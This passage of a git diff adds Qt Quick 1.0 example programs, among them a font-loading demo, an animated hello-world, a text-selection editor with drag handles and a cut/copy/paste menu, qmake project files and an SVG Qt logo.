+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ property string myText: "The quick brown fox jumps over the lazy dog."
+
+ width: 800; height: 480
+ color: "steelblue"
+
+ FontLoader { id: fixedFont; name: "Courier" }
+ FontLoader { id: localFont; source: "fonts/tarzeau_ocr_a.ttf" }
+ FontLoader { id: webFont; source: "http://www.princexml.com/fonts/steffmann/Starburst.ttf" }
+
+ Column {
+ anchors { fill: parent; leftMargin: 10; rightMargin: 10 }
+ spacing: 15
+
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font.family: "Times"; font.pointSize: 42
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: "Times"; pointSize: 42; capitalization: Font.AllUppercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font { family: fixedFont.name; pointSize: 42; weight: Font.Bold; capitalization: Font.AllLowercase }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideRight
+ font { family: fixedFont.name; pointSize: 42; italic: true; capitalization: Font.SmallCaps }
+ }
+ Text {
+ text: myText
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideLeft
+ font { family: localFont.name; pointSize: 42; capitalization: Font.Capitalize }
+ }
+ Text {
+ text: {
+ if (webFont.status == FontLoader.Ready) myText
+ else if (webFont.status == FontLoader.Loading) "Loading..."
+ else if (webFont.status == FontLoader.Error) "Error loading font"
+ }
+ color: "lightsteelblue"
+ width: parent.width
+ elide: Text.ElideMiddle
+ font.family: webFont.name; font.pointSize: 42
+ }
+ }
+}
diff --git a/examples/declarative/text/fonts/hello/qml/hello/fonts/tarzeau_ocr_a.ttf b/examples/declarative/text/fonts/hello/qml/hello/fonts/tarzeau_ocr_a.ttf
new file mode 100644
index 00000000..cf93f965
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/qml/hello/fonts/tarzeau_ocr_a.ttf
Binary files differ
diff --git a/examples/declarative/text/fonts/hello/qml/hello/hello.qml b/examples/declarative/text/fonts/hello/qml/hello/hello.qml
new file mode 100644
index 00000000..7a6b2c2c
--- /dev/null
+++ b/examples/declarative/text/fonts/hello/qml/hello/hello.qml
@@ -0,0 +1,79 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ id: screen
+
+ width: 800; height: 480
+ color: "black"
+
+ Item {
+ id: container
+ x: screen.width / 2; y: screen.height / 2
+
+ Text {
+ id: text
+ anchors.centerIn: parent
+ color: "white"
+ text: "Hello world!"
+ font.pixelSize: 60
+ smooth: true
+
+ SequentialAnimation on font.letterSpacing {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 0; to: 150; easing.type: Easing.InQuad; duration: 3000 }
+ ScriptAction {
+ script: {
+ container.y = (screen.height / 4) + (Math.random() * screen.height / 2)
+ container.x = (screen.width / 4) + (Math.random() * screen.width / 2)
+ }
+ }
+ }
+
+ SequentialAnimation on opacity {
+ loops: Animation.Infinite;
+ NumberAnimation { from: 1; to: 0; duration: 2600 }
+ PauseAnimation { duration: 400 }
+ }
+ }
+ }
+}
diff --git a/examples/declarative/text/text.pro b/examples/declarative/text/text.pro
new file mode 100644
index 00000000..4e86deb3
--- /dev/null
+++ b/examples/declarative/text/text.pro
@@ -0,0 +1,5 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ fonts \
+ textselection
diff --git a/examples/declarative/text/textselection/main.cpp b/examples/declarative/text/textselection/main.cpp
new file mode 100644
index 00000000..5a96999d
--- /dev/null
+++ b/examples/declarative/text/textselection/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtCore module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtGui/QApplication>
+#include "qmlapplicationviewer.h"
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ QmlApplicationViewer viewer;
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/textselection/textselection.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
diff --git a/examples/declarative/text/textselection/qml/textselection/pics/endHandle.png b/examples/declarative/text/textselection/qml/textselection/pics/endHandle.png
new file mode 100644
index 00000000..1a4bc5d7
--- /dev/null
+++ b/examples/declarative/text/textselection/qml/textselection/pics/endHandle.png
Binary files differ
diff --git a/examples/declarative/text/textselection/qml/textselection/pics/endHandle.sci b/examples/declarative/text/textselection/qml/textselection/pics/endHandle.sci
new file mode 100644
index 00000000..4f51f242
--- /dev/null
+++ b/examples/declarative/text/textselection/qml/textselection/pics/endHandle.sci
@@ -0,0 +1,5 @@
+border.left: 0
+border.top: 6
+border.bottom: 6
+border.right: 6
+source: endHandle.png
diff --git a/examples/declarative/text/textselection/qml/textselection/pics/startHandle.png b/examples/declarative/text/textselection/qml/textselection/pics/startHandle.png
new file mode 100644
index 00000000..deedcd5c
--- /dev/null
+++ b/examples/declarative/text/textselection/qml/textselection/pics/startHandle.png
Binary files differ
diff --git a/examples/declarative/text/textselection/qml/textselection/pics/startHandle.sci b/examples/declarative/text/textselection/qml/textselection/pics/startHandle.sci
new file mode 100644
index 00000000..f9eae204
--- /dev/null
+++ b/examples/declarative/text/textselection/qml/textselection/pics/startHandle.sci
@@ -0,0 +1,5 @@
+border.left: 6
+border.top: 6
+border.bottom: 6
+border.right: 0
+source: startHandle.png
diff --git a/examples/declarative/text/textselection/qml/textselection/textselection.qml b/examples/declarative/text/textselection/qml/textselection/textselection.qml
new file mode 100644
index 00000000..9da779f1
--- /dev/null
+++ b/examples/declarative/text/textselection/qml/textselection/textselection.qml
@@ -0,0 +1,290 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+Rectangle {
+ id: editor
+ color: "lightGrey"
+ width: 640; height: 480
+
+ Rectangle {
+ color: "white"
+ anchors.fill: parent
+ anchors.margins: 20
+
+ BorderImage {
+ id: startHandle
+ source: "pics/startHandle.sci"
+ opacity: 0.0
+ width: 10
+ x: edit.positionToRectangle(edit.selectionStart).x - flick.contentX-width
+ y: edit.positionToRectangle(edit.selectionStart).y - flick.contentY
+ height: edit.positionToRectangle(edit.selectionStart).height
+ }
+
+ BorderImage {
+ id: endHandle
+ source: "pics/endHandle.sci"
+ opacity: 0.0
+ width: 10
+ x: edit.positionToRectangle(edit.selectionEnd).x - flick.contentX
+ y: edit.positionToRectangle(edit.selectionEnd).y - flick.contentY
+ height: edit.positionToRectangle(edit.selectionEnd).height
+ }
+
+ Flickable {
+ id: flick
+
+ anchors.fill: parent
+ contentWidth: edit.paintedWidth
+ contentHeight: edit.paintedHeight
+ interactive: true
+ clip: true
+
+ function ensureVisible(r) {
+ if (contentX >= r.x)
+ contentX = r.x;
+ else if (contentX+width <= r.x+r.width)
+ contentX = r.x+r.width-width;
+ if (contentY >= r.y)
+ contentY = r.y;
+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+
+ TextEdit {
+ id: edit
+ width: flick.width
+ height: flick.height
+ focus: true
+ wrapMode: TextEdit.Wrap
+
+ onCursorRectangleChanged: flick.ensureVisible(cursorRectangle)
+
+ text: "<h1>Text Selection</h1>"
+ +"<p>This example is a whacky text selection mechanisms, showing how these can be implemented in the TextEdit element, to cater for whatever style is appropriate for the target platform."
+ +"<p><b>Press-and-hold</b> to select a word, then drag the selection handles."
+ +"<p><b>Drag outside the selection</b> to scroll the text."
+ +"<p><b>Click inside the selection</b> to cut/copy/paste/cancel selection."
+ +"<p>It's too whacky to let you paste if there is no current selection."
+
+ MouseArea {
+ property string drag: ""
+ property int pressPos
+
+ x: -startHandle.width
+ y: 0
+ width: parent.width+startHandle.width+endHandle.width
+ height: parent.height
+
+ onPressAndHold: {
+ if (editor.state == "") {
+ edit.cursorPosition = edit.positionAt(mouse.x+x,mouse.y+y);
+ edit.selectWord();
+ editor.state = "selection"
+ }
+ }
+
+ onClicked: {
+ if (editor.state == "") {
+ edit.cursorPosition = edit.positionAt(mouse.x+x,mouse.y+y);
+ if (!edit.focus)
+ edit.focus = true;
+ edit.openSoftwareInputPanel();
+ }
+ }
+
+ function hitHandle(h,x,y) {
+ return x>=h.x+flick.contentX && x<h.x+flick.contentX+h.width && y>=h.y+flick.contentY && y<h.y+flick.contentY+h.height
+ }
+
+ onPressed: {
+ if (editor.state == "selection") {
+ if (hitHandle(startHandle,mouse.x+x,mouse.y+y)) {
+ drag = "start"
+ flick.interactive = false
+ } else if (hitHandle(endHandle,mouse.x+x,mouse.y+y)) {
+ drag = "end"
+ flick.interactive = false
+ } else {
+ var pos = edit.positionAt(mouse.x+x,mouse.y+y);
+ if (pos >= edit.selectionStart && pos <= edit.selectionEnd) {
+ drag = "selection"
+ flick.interactive = false
+ } else {
+ drag = ""
+ flick.interactive = true
+ }
+ }
+ }
+ }
+
+ onReleased: {
+ if (editor.state == "selection") {
+ if (drag == "selection") {
+ editor.state = "menu"
+ }
+ drag = ""
+ }
+ flick.interactive = true
+ }
+
+ onPositionChanged: {
+ if (editor.state == "selection" && drag != "") {
+ if (drag == "start") {
+ var pos = edit.positionAt(mouse.x+x+startHandle.width/2,mouse.y+y);
+ var e = edit.selectionEnd;
+ if (e < pos)
+ e = pos;
+ edit.select(pos,e);
+ } else if (drag == "end") {
+ var pos = edit.positionAt(mouse.x+x-endHandle.width/2,mouse.y+y);
+ var s = edit.selectionStart;
+ if (s > pos)
+ s = pos;
+ edit.select(s,pos);
+ }
+ }
+ }
+ }
+ }
+ }
+
+ Item {
+ id: menu
+ opacity: 0.0
+ width: 100
+ height: 120
+ anchors.centerIn: parent
+
+ Rectangle {
+ border.width: 1
+ border.color: "darkBlue"
+ radius: 15
+ color: "#806080FF"
+ anchors.fill: parent
+ }
+
+ Column {
+ anchors.centerIn: parent
+ spacing: 8
+
+ Rectangle {
+ border.width: 1
+ border.color: "darkBlue"
+ color: "#ff7090FF"
+ width: 60
+ height: 16
+
+ Text { anchors.centerIn: parent; text: "Cut" }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { edit.cut(); editor.state = "" }
+ }
+ }
+
+ Rectangle {
+ border.width: 1
+ border.color: "darkBlue"
+ color: "#ff7090FF"
+ width: 60
+ height: 16
+
+ Text { anchors.centerIn: parent; text: "Copy" }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { edit.copy(); editor.state = "selection" }
+ }
+ }
+
+ Rectangle {
+ border.width: 1
+ border.color: "darkBlue"
+ color: "#ff7090FF"
+ width: 60
+ height: 16
+
+ Text { anchors.centerIn: parent; text: "Paste" }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: { edit.paste(); edit.cursorPosition = edit.selectionEnd; editor.state = "" }
+ }
+ }
+
+ Rectangle {
+ border.width: 1
+ border.color: "darkBlue"
+ color: "#ff7090FF"
+ width: 60
+ height: 16
+
+ Text { anchors.centerIn: parent; text: "Deselect" }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ edit.cursorPosition = edit.selectionEnd;
+ edit.select(edit.cursorPosition, edit.cursorPosition);
+ editor.state = ""
+ }
+ }
+ }
+ }
+ }
+ }
+
+ states: [
+ State {
+ name: "selection"
+ PropertyChanges { target: startHandle; opacity: 1.0 }
+ PropertyChanges { target: endHandle; opacity: 1.0 }
+ },
+ State {
+ name: "menu"
+ PropertyChanges { target: startHandle; opacity: 0.5 }
+ PropertyChanges { target: endHandle; opacity: 0.5 }
+ PropertyChanges { target: menu; opacity: 1.0 }
+ }
+ ]
+}
diff --git a/examples/declarative/text/textselection/textselection.png b/examples/declarative/text/textselection/textselection.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/text/textselection/textselection.png
Binary files differ
diff --git a/examples/declarative/text/textselection/textselection.pro b/examples/declarative/text/textselection/textselection.pro
new file mode 100644
index 00000000..19a84317
--- /dev/null
+++ b/examples/declarative/text/textselection/textselection.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/textselection
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+#DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEFBED80D
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/text/textselection
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/text/textselection/textselection.qmlproject b/examples/declarative/text/textselection/textselection.qmlproject
new file mode 100644
index 00000000..9cb2b0ab
--- /dev/null
+++ b/examples/declarative/text/textselection/textselection.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/textselection"
+ }
+ JavaScriptFiles {
+ directory: "qml/textselection"
+ }
+ ImageFiles {
+ directory: "qml/textselection"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/text/textselection/textselection.svg b/examples/declarative/text/textselection/textselection.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/text/textselection/textselection.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/threading/threadedlistmodel/main.cpp b/examples/declarative/threading/threadedlistmodel/main.cpp
new file mode 100644
index 00000000..1707c1ae
--- /dev/null
+++ b/examples/declarative/threading/threadedlistmodel/main.cpp
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
